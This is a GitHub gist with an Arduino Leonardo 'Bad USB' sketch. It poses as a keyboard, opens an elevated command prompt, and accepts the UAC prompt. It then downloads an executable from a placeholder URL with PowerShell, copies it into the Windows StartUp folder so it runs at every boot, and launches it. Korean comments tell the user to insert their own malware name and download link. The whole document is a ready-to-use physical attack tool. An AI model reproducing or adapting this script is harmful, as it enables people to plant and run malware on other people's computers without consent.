Skip to content

Instantly share code, notes, and snippets.

@x3r0s
Last active November 16, 2021 03:19
Show Gist options
  • Save x3r0s/3c016e352af26901277277cc625e5184 to your computer and use it in GitHub Desktop.
Save x3r0s/3c016e352af26901277277cc625e5184 to your computer and use it in GitHub Desktop.
Arduino Leonardo Bad USB Sample
#include "Keyboard.h"
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup()
{
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell Start-Process cmd -Verb RunAs");
typeKey(KEY_RETURN);
delay(2000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1500);
// 여기까지는 누구나 동일
// 아래 코드에서 악성프로그램파일명을 자신의 악성프로그램 파일명으로 변경
Keyboard.print("erase /Q \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\악성프로그램파일명.exe\"");
typeKey(KEY_RETURN);
// 아래 코드에서 악성프로그램이 저장될 폴더명 부분을 자신이 임의로 지정
Keyboard.print("mkdir %TEMP%\\폴더명");
typeKey(KEY_RETURN);
// 1. 아래 코드에서 악성프로그램이 저장될 폴더명을 자신이 바로 위 코드에서 지정했던 폴더명으로 변경
// 2. 아래 코드에서 자신의악성코드를 다운로드받을수 있는 웹주소를 변경
// 3. 아래 코드에서 저장될 악성프로그램명을 지정 (웬만하면 악성코드 파일명과 일치시킬것을 추천)
Keyboard.print("cd %TEMP%\\파일명 && powershell (new-object System.Net.WebClient).DownloadFile('http://악성프로그램이/포함된/URL링크/악성프로그램.exe','악성프로그램명.exe')");
typeKey(KEY_RETURN);
// 1. 악성프로그램명을 자신의 악성프로그램명으로 변경
// 2. 1과 동일
Keyboard.print("copy \"악성프로그램명.exe\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\" && start 악성프로그램명.exe");
typeKey(KEY_RETURN);
Keyboard.print("exit");
typeKey(KEY_RETURN);
Keyboard.end();
}
/* Unused endless loop */
void loop() {}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment